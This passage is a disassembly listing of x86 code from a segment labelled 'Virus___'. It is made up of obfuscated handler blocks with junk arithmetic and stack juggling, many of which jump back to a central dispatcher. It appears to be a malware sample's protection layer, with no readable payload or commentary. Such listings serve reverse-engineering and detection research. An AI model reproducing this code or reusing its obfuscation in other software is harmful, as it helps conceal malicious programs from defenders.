loc_572E6E:				; CODE XREF: Virus___:0057CCDFj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_572E73:				; CODE XREF: Virus___:005777A1j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 41401F41h
		jmp	loc_57B994
; ---------------------------------------------------------------------------


loc_572E83:				; CODE XREF: Virus___:005753DEj
		push	esi
		push	esp
		pop	esi
		push	270h
		jmp	loc_5747C4
; ---------------------------------------------------------------------------


loc_572E90:				; CODE XREF: Virus___:00577AFAj
		add	esp, 4
		add	ebp, 4
		jmp	loc_57BF45
; ---------------------------------------------------------------------------


loc_572EA1:				; CODE XREF: Virus___:00575009j
		mov	edi, esp
		push	eax
		push	ecx
		mov	ecx, 12147E6h
		shr	ecx, 6
		xor	ecx, 5B8F0FBCh
		jmp	loc_57864A
; ---------------------------------------------------------------------------


loc_572EB8:				; CODE XREF: Virus___:00574F1Fj
		push	esi
		jmp	loc_575475
; ---------------------------------------------------------------------------


loc_572EBE:				; CODE XREF: Virus___:0057998Ej
		push	13BDh
		mov	[esp], esi
		mov	esi, 2DA46A9Dh
		add	ecx, esi
		pop	esi
		sub	ecx, 6E242C28h
		jmp	loc_57D64D
; ---------------------------------------------------------------------------


loc_572ED9:				; CODE XREF: Virus___:0057D265j
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		jmp	loc_57B52D
; ---------------------------------------------------------------------------


loc_572EE4:				; CODE XREF: Virus___:00573156j
		mov	[esp], ebx
		mov	ebx, 2
		add	ecx, 256F0F5Ah
		add	ecx, ebx
		sub	ecx, 256F0F5Ah
		mov	ebx, [esp]
		jmp	loc_575B6A
; ---------------------------------------------------------------------------


loc_572F02:				; CODE XREF: Virus___:005773ADj
		mov	ebp, 53CA1E24h
		xor	ebp, eax
		pop	eax
		push	ecx
		jmp	loc_57EB8B
; ---------------------------------------------------------------------------


loc_572F10:				; CODE XREF: Virus___:005774A0j
		push	ebx
		mov	ebx, 126E3F00h
		jmp	loc_57E6D8
; ---------------------------------------------------------------------------


loc_572F1B:				; CODE XREF: Virus___:0057369Ej
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	52CDEA7h
		mov	edx, [esp]
		add	esp, 4
		xor	eax, edx
		jmp	loc_57BFE8
; ---------------------------------------------------------------------------


loc_572F37:				; CODE XREF: Virus___:00574EC7j
		or	ebx, 51EC592Eh
		jmp	loc_57A2DE
; ---------------------------------------------------------------------------


loc_572F42:				; CODE XREF: Virus___:00573321j
		add	eax, 4
		jmp	loc_57E58A
; ---------------------------------------------------------------------------


loc_572F4C:				; CODE XREF: Virus___:005775FCj
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_57A40E
; ---------------------------------------------------------------------------


loc_572F5D:				; CODE XREF: Virus___:0057EDB9j
		sub	bh, 93h
		jmp	loc_57AC4D
; ---------------------------------------------------------------------------


loc_572F65:				; CODE XREF: Virus___:00577B5Bj
		add	esp, 4
		xor	edx, eax
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_572F72:				; CODE XREF: Virus___:005767E2j
		pop	esi
		push	ebp
		mov	bp, 0CF0h
		and	bp, 68A7h
		shr	bp, 4
		and	bp, 0E22h
		inc	bp
		jmp	loc_57E784
; ---------------------------------------------------------------------------


loc_572F8D:				; CODE XREF: Virus___:005793DBj
		and	[edi+1Ch], ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_572FB1:				; CODE XREF: Virus___:0057582Bj
		mov	[esp], ebx
		push	5099h
		mov	[esp], ecx
		jmp	loc_5772E8
; ---------------------------------------------------------------------------


loc_572FC1:				; CODE XREF: Virus___:00578CB2j
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		sub	edi, ecx
		jmp	loc_576868
; ---------------------------------------------------------------------------


loc_572FDA:				; CODE XREF: Virus___:0057AAD9j
		sub	al, 10h
		sub	al, 0FCh
		add	al, dh
		add	al, 0FCh
		add	al, 10h
		pop	dx
		xor	bl, al
		push	505Ah
		mov	[esp], esi
		mov	esi, 7AD3267Ah
		push	ebx
		mov	ebx, 7E55799h
		push	ebp
		mov	ebp, 23F41546h
		add	ebx, ebp
		pop	ebp
		and	ebx, 32CC1F6Dh
		shr	ebx, 5
		jmp	loc_57649C
; ---------------------------------------------------------------------------


loc_573012:				; CODE XREF: Virus___:0057E9C1j
		add	edx, 4
		jmp	loc_57A05F
; ---------------------------------------------------------------------------


loc_57301A:				; CODE XREF: Virus___:00575A77j
		add	esp, 4
		sub	eax, 7CD6749Ch
		jmp	loc_5783B7
; ---------------------------------------------------------------------------


loc_57302A:				; CODE XREF: Virus___:0057E720j
		push	edx
		push	ebx
		mov	bh, 0B5h
		inc	bh
		shr	bh, 8
		sub	bh, 0E9h
		jmp	loc_57CBC9
; ---------------------------------------------------------------------------


loc_57303B:				; CODE XREF: Virus___:00574864j
		mov	[esp], eax
		push	ebx
		mov	bl, dl
		mov	ah, bl
		jmp	loc_578DC7
; ---------------------------------------------------------------------------


loc_573048:				; CODE XREF: Virus___:0057CAA7j
		mov	[esp], ebp
		mov	ebp, 54DD1806h
		sub	ebp, 3E61047Ah
		mov	ebx, ebp
		pop	ebp
		neg	ebx
		neg	ebx
		and	ebx, 58E22165h
		not	ebx
		jmp	loc_5766AE
; ---------------------------------------------------------------------------


loc_57306A:				; CODE XREF: Virus___:005764D9j
		push	eax
		push	4
		jmp	loc_57E034
; ---------------------------------------------------------------------------


loc_573075:				; CODE XREF: Virus___:0057837Ej
		push	eax
		mov	ah, 72h
		jmp	loc_579D41
; ---------------------------------------------------------------------------


loc_57307D:				; CODE XREF: Virus___:005785A5j
		push	esi
		mov	esi, 5886759Eh
		shl	esi, 6
		jmp	loc_577B60
; ---------------------------------------------------------------------------


loc_57308B:				; CODE XREF: Virus___:00574019j
		sub	ebx, 265A293Dh
		add	ebx, edx
		add	ebx, 265A293Dh
		jmp	loc_57748C
; ---------------------------------------------------------------------------


loc_57309E:				; CODE XREF: Virus___:005738A1j
		push	edi
		sub	dword ptr [esp], 11F77B0Bh
		jmp	loc_57B35D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	eax
		jmp	loc_573BEB
; ---------------------------------------------------------------------------


loc_5730CA:				; CODE XREF: Virus___:0057A409j
		sub	edx, 333441E9h
		sub	edx, 4FDC2910h
		sub	edx, 0E957984h
		add	edx, ecx
		add	edx, 0E957984h
		push	ebp
		mov	ebp, 4FDC2910h
		add	edx, ebp
		pop	ebp
		jmp	loc_5787DC
; ---------------------------------------------------------------------------


loc_5730F2:				; CODE XREF: Virus___:00572D17j
		mov	dx, 3BE8h
		add	ax, dx
		pop	dx
		jmp	loc_57DA8D
; ---------------------------------------------------------------------------


loc_573100:				; CODE XREF: Virus___:00576252j
		not	ebp
		push	eax
		jmp	loc_57E59E
; ---------------------------------------------------------------------------


loc_573108:				; CODE XREF: Virus___:0057B04Bj
		add	esi, 4
		push	56DFh
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_573C67
; ---------------------------------------------------------------------------


loc_57311D:				; CODE XREF: Virus___:0057C2DAj
		or	eax, eax
		jz	loc_57BC7E
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		jmp	loc_57404E
; ---------------------------------------------------------------------------


loc_573135:				; CODE XREF: Virus___:0057AA37j
		inc	esi
		add	esi, 520A5DE9h
		xor	esi, 0B204DD3Bh
		add	ecx, 5AFA2E24h
		add	ecx, esi
		sub	ecx, 5AFA2E24h
		pop	esi
		push	1776h
		jmp	loc_572EE4
; ---------------------------------------------------------------------------


loc_57315B:				; CODE XREF: Virus___:0057D1E6j
		push	ebx
		mov	ebx, 1B8E6D44h
		add	ebp, ebx
		pop	ebx
		jmp	loc_5743A6
; ---------------------------------------------------------------------------


loc_573169:				; CODE XREF: Virus___:0057A293j
		pop	edi
		inc	ecx
		dec	ecx
		not	ecx
		push	edx
		push	eax
		jmp	loc_579469
; ---------------------------------------------------------------------------


loc_573175:				; CODE XREF: Virus___:005781BCj
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		idiv	cx
		push	540Dh
		mov	[esp], ebp
		jmp	loc_5738E3
; ---------------------------------------------------------------------------


loc_57318D:				; CODE XREF: Virus___:00577C17j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_57473E
; ---------------------------------------------------------------------------


loc_5731A4:				; CODE XREF: Virus___:00574694j
		mov	[esp], esi
		mov	esi, 70E97940h
		push	esi
		push	edi
		mov	edi, 720805E9h
		add	edi, 4F5D6AF9h
		or	edi, 7229737Dh
		neg	edi
		push	ebx
		mov	ebx, 2D261562h
		add	ebx, 6C5751FDh
		add	edi, 144A40E6h
		sub	edi, ebx
		sub	edi, 144A40E6h
		jmp	loc_576502
; ---------------------------------------------------------------------------


loc_5731E0:				; CODE XREF: Virus___:0057C6A0j
		add	edx, 37E716Fh
		and	edx, 509A1833h
		shr	edx, 8
		jmp	loc_57B491
; ---------------------------------------------------------------------------


loc_5731F4:				; CODE XREF: Virus___:00578B30j
		add	[esp+4], ebp
		add	dword ptr [esp+4], 0EC42D99h
		add	dword ptr [esp+4], 6A285465h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_573217:				; CODE XREF: Virus___:00577C78j
		neg	edx
		xchg	eax, edx
		push	eax
		not	dword ptr [esp]
		jmp	loc_57528F
; ---------------------------------------------------------------------------


loc_573223:				; CODE XREF: Virus___:00579525j
		push	ebx
		jmp	loc_575452
; ---------------------------------------------------------------------------


loc_573229:				; CODE XREF: Virus___:0057A54Aj
		mov	edx, ebp
		pop	ebp
		add	edx, 9D4E804Ch
		add	ecx, edx
		jmp	loc_5766BF
; ---------------------------------------------------------------------------


loc_573239:				; CODE XREF: Virus___:0057BF96j
		push	ecx
		mov	ecx, 450A3C7Bh
		dec	ecx
		or	ecx, 649588Bh
		jmp	loc_578571
; ---------------------------------------------------------------------------


loc_57324B:				; CODE XREF: Virus___:005782C8j
		push	349Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	esi
		jmp	loc_575763
; ---------------------------------------------------------------------------


loc_573264:				; CODE XREF: Virus___:005749D8j
		add	dword ptr [esp], 4
		pop	esi
		push	edi
		mov	edi, 799207EAh
		dec	edi
		sub	edi, 799207E5h
		add	esi, edi
		pop	edi
		add	esi, 2
		jmp	loc_57B1AC
; ---------------------------------------------------------------------------


loc_573284:				; CODE XREF: Virus___:00575E3Fj
		shr	esi, 4
		add	esi, 4AA88B15h
		jmp	loc_575492
; ---------------------------------------------------------------------------


loc_573292:				; CODE XREF: Virus___:00572AECj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_573297:				; CODE XREF: Virus___:00575CF6j
		pop	ebx
		xchg	ecx, ebp
		dec	ecx
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		sub	ebp, 0F27C1CF2h
		push	ebx
		push	esi
		mov	esi, 4DC3910Ch
		mov	ebx, esi
		pop	esi
		jmp	loc_5740F7
; ---------------------------------------------------------------------------


loc_5732B6:				; CODE XREF: Virus___:0057AE51j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_574699
; ---------------------------------------------------------------------------


loc_5732CA:				; CODE XREF: Virus___:00578292j
		mov	eax, 4
		push	78F1h
		mov	[esp], ebp
		push	edx
		jmp	loc_57B3AB
; ---------------------------------------------------------------------------


loc_5732DD:				; CODE XREF: Virus___:0057C6B0j
		shr	al, 6
		not	al
		or	al, 8Bh
		sub	al, 23h
		add	bl, 0Eh
		sub	bl, al
		jmp	loc_575978
; ---------------------------------------------------------------------------


loc_5732F0:				; CODE XREF: Virus___:0057DEE9j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5776E5
; ---------------------------------------------------------------------------


loc_5732F9:				; CODE XREF: Virus___:0057E261j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_5732FE:				; CODE XREF: Virus___:0057648Aj
		push	85158EFh
		pop	edx
		add	edx, 66F9CF8Eh
		mov	ebp, edx
		pop	edx
		push	ecx
		push	ebx
		mov	ebx, 189A2800h
		jmp	loc_57B1D5
; ---------------------------------------------------------------------------


loc_573319:				; CODE XREF: Virus___:0057EA51j
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_572F42
; ---------------------------------------------------------------------------


loc_573326:				; CODE XREF: Virus___:00573999j
		push	esi
		mov	esi, esp
		jmp	loc_577943
; ---------------------------------------------------------------------------


loc_57332E:				; CODE XREF: Virus___:0057C4DFj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_574913
; ---------------------------------------------------------------------------
		push	esi
		push	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 5A124D4Bh
		mov	edi, 59FF5E07h
		xor	edi, esi
		pop	esi
		mov	esi, 3ED0F4Bh
		jmp	loc_57558B
; ---------------------------------------------------------------------------


loc_573359:				; CODE XREF: Virus___:0057989Aj
		push	ecx
		jmp	loc_579908
; ---------------------------------------------------------------------------


loc_57335F:				; CODE XREF: Virus___:005759A1j
		push	ecx
		jmp	loc_57A16C
; ---------------------------------------------------------------------------


loc_573365:				; CODE XREF: Virus___:00578CC6j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	eax, [esp]
		add	esp, 4
		push	516h
		mov	[esp], edi
		jmp	loc_5746E0
; ---------------------------------------------------------------------------


loc_573387:				; CODE XREF: Virus___:0057556Ej
		mov	edi, 0FFFFFFFFh
		mov	eax, edi
		pop	edi
		jmp	loc_576168
; ---------------------------------------------------------------------------


loc_573394:				; CODE XREF: Virus___:005746DBj
		add	esi, eax
		jmp	loc_57C3AA
; ---------------------------------------------------------------------------


loc_57339B:				; CODE XREF: Virus___:00576787j
		add	ebp, ecx
		add	ebp, 152433B8h
		jmp	loc_57CDFE
; ---------------------------------------------------------------------------


loc_5733A8:				; CODE XREF: Virus___:0057E6FCj
		pop	ecx
		push	eax
		jmp	loc_575DFF
; ---------------------------------------------------------------------------


loc_5733AF:				; CODE XREF: Virus___:00578E8Aj
		add	esp, 4
		jmp	loc_57442E
; ---------------------------------------------------------------------------


loc_5733B7:				; CODE XREF: Virus___:0057CC8Ej
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		push	edx
		push	1FB8h
		jmp	loc_5745E8
; ---------------------------------------------------------------------------


loc_5733CC:				; CODE XREF: Virus___:00578468j
		push	ebx
		mov	ebx, 6684223Bh
		mov	edi, 6684223Dh
		sub	edi, 3BB53C07h
		sub	edi, ebx
		jmp	loc_5764A7
; ---------------------------------------------------------------------------


loc_5733E4:				; CODE XREF: Virus___:00574896j
		xchg	ecx, edx
		shr	edx, 3
		jmp	loc_575252
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_5733FD:				; CODE XREF: Virus___:00573BA5j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp]
		jmp	loc_57E3F2
; ---------------------------------------------------------------------------


loc_57342F:				; CODE XREF: Virus___:0057D13Aj
		xor	ebp, ebx
		xor	ebx, ebp
		jmp	loc_576DC3
; ---------------------------------------------------------------------------


loc_573438:				; CODE XREF: Virus___:005762A8j
		mov	ebx, 1BC3441Ah
		mov	esi, ebx
		pop	ebx
		inc	esi
		dec	esi
		push	edx
		mov	edx, 2EED216Bh
		jmp	loc_577722
; ---------------------------------------------------------------------------


loc_57344D:				; CODE XREF: Virus___:00575377j
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_5764D7
; ---------------------------------------------------------------------------


loc_573460:				; CODE XREF: Virus___:00575117j
		mov	ch, 62h
		inc	ch
		sub	ch, 63h
		sub	bl, ch
		pop	ecx
		sub	bl, 87h
		sub	bl, ah
		jmp	loc_57D018
; ---------------------------------------------------------------------------


loc_573474:				; CODE XREF: Virus___:00573808j
		pop	ecx
		push	57E0h
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_5779FC
; ---------------------------------------------------------------------------


loc_573484:				; CODE XREF: Virus___:0057771Dj
		add	edi, 2
		jmp	loc_579497
; ---------------------------------------------------------------------------


loc_57348F:				; CODE XREF: Virus___:00573A94j
		mov	edi, [esp]
		jmp	loc_57EF97
; ---------------------------------------------------------------------------


loc_573497:				; CODE XREF: Virus___:0057E56Bj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57349C:				; CODE XREF: Virus___:005749E5j
		mov	edx, [esp]
		add	esp, 4


loc_5734A5:				; CODE XREF: Virus___:00574784j
					; Virus___:00577A3Cj
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_574869
; ---------------------------------------------------------------------------


loc_5734B4:				; CODE XREF: Virus___:00576038j
		add	ebx, 1A081E59h
		add	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_57D27D
; ---------------------------------------------------------------------------


loc_5734CB:				; CODE XREF: Virus___:0057EEFBj
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		push	esi
		push	4
		pop	esi
		add	edi, esi
		jmp	loc_577B22
; ---------------------------------------------------------------------------


loc_5734EA:				; CODE XREF: Virus___:0057901Cj
		add	esi, eax
		pop	eax
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_574414
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edx
		jmp	loc_57DB82
; ---------------------------------------------------------------------------


loc_573511:				; CODE XREF: Virus___:0057DD0Ej
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_5736F8
; ---------------------------------------------------------------------------


loc_573525:				; CODE XREF: Virus___:0057759Dj
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_577DE3
; ---------------------------------------------------------------------------


loc_573533:				; CODE XREF: Virus___:00578394j
		push	ebx
		jmp	loc_578D59
; ---------------------------------------------------------------------------


loc_573539:				; CODE XREF: Virus___:00578725j
		pop	esp
		mov	ax, [esp]
		jmp	loc_574B97
; ---------------------------------------------------------------------------


loc_573543:				; CODE XREF: Virus___:00577FF6j
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_57BB60
; ---------------------------------------------------------------------------


loc_573570:				; CODE XREF: Virus___:005788E4j
		mov	dword ptr [edi+20h], 68E03112h
		jmp	loc_57A7CC
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_573584:				; CODE XREF: Virus___:005752BCj
		not	ebp
		jmp	loc_578530
; ---------------------------------------------------------------------------


loc_57358B:				; CODE XREF: Virus___:0057E627j
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 2
		add	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_579670
; ---------------------------------------------------------------------------


loc_5735A7:				; CODE XREF: Virus___:00574758j
		xor	edi, 1C0D716Fh
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		jmp	loc_57E672
; ---------------------------------------------------------------------------


loc_5735BB:				; CODE XREF: Virus___:00576159j
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		push	0F3E1FA4h
		mov	edx, [esp]
		add	esp, 4
		shl	edx, 8
		shr	edx, 7
		xchg	esi, edx
		not	esi
		xchg	esi, edx
		jmp	loc_57853D
; ---------------------------------------------------------------------------


loc_5735DE:				; CODE XREF: Virus___:0057A9A5j
		mov	dx, 194Ch
		push	edi
		jmp	loc_5753E3
; ---------------------------------------------------------------------------


loc_5735E8:				; CODE XREF: Virus___:005765AEj
		push	ecx
		mov	ecx, 2F27C02h
		push	esi
		jmp	loc_5771B6
; ---------------------------------------------------------------------------


loc_5735F4:				; CODE XREF: Virus___:0057BA05j
		mov	ecx, esp
		push	ebx
		mov	ebx, 7FBC3C59h
		neg	ebx
		xor	ebx, 1628650Ch
		and	ebx, 2F9B2907h
		push	edx
		mov	edx, 40E673C9h
		add	edx, 25F5A85h
		shl	edx, 2
		jmp	loc_57ECD8
; ---------------------------------------------------------------------------


loc_57361E:				; CODE XREF: Virus___:0057C3BEj
		mov	esi, esp
		add	esi, 4
		push	eax
		push	7FBF6DC6h
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 7FBF6DC2h
		add	esi, 383E2902h
		add	esi, eax
		sub	esi, 383E2902h
		jmp	loc_57B06B
; ---------------------------------------------------------------------------


loc_57364D:				; CODE XREF: Virus___:00574F15j
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		div	ecx
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_573E7D
; ---------------------------------------------------------------------------


loc_573664:				; CODE XREF: Virus___:00577B1Dj
		dec	esi
		inc	esi
		jmp	loc_57C9FC
; ---------------------------------------------------------------------------


loc_57366B:				; CODE XREF: Virus___:00578145j
		mov	[esp], ecx
		push	edx
		jmp	loc_573BF5
; ---------------------------------------------------------------------------


loc_573674:				; CODE XREF: Virus___:005758E8j
		sub	edx, eax
		add	edx, 67D24234h
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	eax, 5F21049Dh
		add	eax, edx
		jmp	loc_573D96
; ---------------------------------------------------------------------------


loc_57369B:				; CODE XREF: Virus___:00574296j
		xchg	ebp, [esp]
		jmp	loc_572F1B
; ---------------------------------------------------------------------------


loc_5736A3:				; CODE XREF: Virus___:0057AB89j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57EEAE
; ---------------------------------------------------------------------------


loc_5736B1:				; CODE XREF: Virus___:0057A1E8j
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_57D29D
; ---------------------------------------------------------------------------


loc_5736CA:				; CODE XREF: Virus___:00578C3Fj
		xor	edi, 50A162D8h
		jmp	loc_57D678
; ---------------------------------------------------------------------------


loc_5736D5:				; CODE XREF: Virus___:0057AD60j
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	0F3Bh
		jmp	loc_57D948
; ---------------------------------------------------------------------------


loc_5736F8:				; CODE XREF: Virus___:00573520j
		push	ebp
		push	ecx
		mov	ecx, 4
		push	eax
		mov	eax, ecx
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		sub	esi, ebp
		pop	ebp
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_573DFB
; ---------------------------------------------------------------------------


loc_573718:				; CODE XREF: Virus___:005789EAj
		push	7CD5h
		mov	[esp], ebp
		mov	ebp, 45744C6Ch
		inc	ebp
		shr	ebp, 6
		dec	ebp
		neg	ebp
		add	ebp, 115D134h
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_57ACE5
; ---------------------------------------------------------------------------


loc_57373D:				; CODE XREF: Virus___:0057AB18j
		and	[edi+1Ch], ebx
		mov	ebx, [esp]
		push	esi
		jmp	loc_579DB4
; ---------------------------------------------------------------------------


loc_573749:				; CODE XREF: Virus___:0057D9B2j
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_5770F5
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	7CF1h
		mov	[esp], ebx
		push	4827h
		mov	[esp], edx
		jmp	loc_579C5E
; ---------------------------------------------------------------------------


loc_57376B:				; CODE XREF: Virus___:0057B7D4j
		add	al, 0AFh
		push	bx
		mov	bh, 0ADh
		sub	al, bh
		jmp	loc_57830B
; ---------------------------------------------------------------------------


loc_573778:				; CODE XREF: Virus___:0057A400j
		mov	ebx, esp
		push	4DD9h
		mov	[esp], eax
		jmp	loc_57EE7A
; ---------------------------------------------------------------------------


loc_573787:				; CODE XREF: Virus___:0057E8FBj
		mov	eax, 1B674730h
		not	eax
		not	eax
		neg	eax
		jmp	loc_57D864
; ---------------------------------------------------------------------------


loc_573797:				; CODE XREF: Virus___:0057E0E9j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57379C:				; CODE XREF: Virus___:0057AF8Aj
		push	0C5F121Ch
		pop	ebp
		mov	ebx, ebp
		mov	ebp, [esp]
		push	ebx
		jmp	loc_57B974
; ---------------------------------------------------------------------------


loc_5737AD:				; CODE XREF: Virus___:00578E81j
		inc	ah
		sub	ah, 0D7h
		add	dh, ah
		mov	eax, [esp]
		add	esp, 4
		neg	dh
		shl	dh, 2
		push	eax
		mov	ah, 0EDh
		sub	dh, ah
		jmp	loc_57EF00
; ---------------------------------------------------------------------------


loc_5737CC:				; CODE XREF: Virus___:00575214j
		push	ecx
		mov	cl, 0F9h
		jmp	loc_57936A
; ---------------------------------------------------------------------------


loc_5737D4:				; CODE XREF: Virus___:0057E83Cj
		mov	edi, esp
		add	edi, 4
		jmp	loc_576772
; ---------------------------------------------------------------------------


loc_5737E1:				; CODE XREF: Virus___:005747D9j
		mov	[esp], edi
		mov	edi, 29444B56h
		jmp	loc_578587
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		jmp	loc_576BF2
; ---------------------------------------------------------------------------


loc_5737FE:				; CODE XREF: Virus___:0057A34Bj
		pop	edx
		std
		push	0C072079h
		push	dword ptr [esp]
		jmp	loc_573474
; ---------------------------------------------------------------------------


loc_57380D:				; CODE XREF: Virus___:005799C3j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_572A7D
; ---------------------------------------------------------------------------


loc_573816:				; CODE XREF: Virus___:0057E3EDj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57381B:				; CODE XREF: Virus___:0057DAFCj
		add	eax, edx
		pop	edx
		push	6E18h
		mov	[esp], ecx
		mov	ecx, 3A6E4FE1h
		sub	ecx, 0FFFFFFFFh
		push	edi
		mov	edi, 39CD2E55h
		or	ecx, edi
		mov	edi, [esp]
		jmp	loc_57B961
; ---------------------------------------------------------------------------


loc_573841:				; CODE XREF: Virus___:00574182j
		or	edx, ebp
		pop	ebp
		sub	edx, 72BD5C51h
		add	edx, 0FB3EDE5Fh
		mov	ebp, edx
		pop	edx
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_57584F
; ---------------------------------------------------------------------------


loc_573860:				; CODE XREF: Virus___:0057C6ECj
		neg	ecx
		not	ecx
		sub	ecx, 282A2A0Dh
		xor	ecx, 36F02B45h
		mov	ebx, ecx
		pop	ecx
		jmp	loc_57A584
; ---------------------------------------------------------------------------


loc_573878:				; CODE XREF: Virus___:005749FFj
		sub	edi, 533DFEACh
		mov	eax, edi
		pop	edi
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_57AD5D
; ---------------------------------------------------------------------------


loc_57388C:				; CODE XREF: Virus___:0057BBF1j
		mov	ebp, 5F4F3F9Ah
		push	eax
		push	edi
		mov	edi, 0DB13D7Dh
		shl	edi, 7
		add	edi, 91504BDAh
		jmp	loc_57309E
; ---------------------------------------------------------------------------


loc_5738A6:				; CODE XREF: Virus___:00575342j
		mov	dx, [esp]
		add	esp, 2
		push	2647h
		mov	[esp], ebx
		mov	bl, 6
		or	bl, 14h
		shr	bl, 7
		sub	esp, 4
		mov	[esp], edx
		push	300Fh
		mov	[esp], ebx
		mov	bh, 0C0h
		mov	dl, 5Fh
		xor	dl, bh
		jmp	loc_57824D
; ---------------------------------------------------------------------------


loc_5738D9:				; CODE XREF: Virus___:0057A25Fj
		push	22D7h
		jmp	loc_574DBE
; ---------------------------------------------------------------------------


loc_5738E3:				; CODE XREF: Virus___:00573188j
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2
		push	edx
		mov	edx, 4B36766Eh
		shl	edx, 5
		jmp	loc_579C8B
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	ecx
		push	0C17h
		mov	[esp], esp
		push	ebp
		push	edi
		mov	edi, 4
		jmp	loc_5759E6
; ---------------------------------------------------------------------------


loc_57391C:				; CODE XREF: Virus___:005749B5j
		mov	[esp], esi
		push	52E2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	2ECh
		mov	[esp], ecx
		mov	ecx, 4
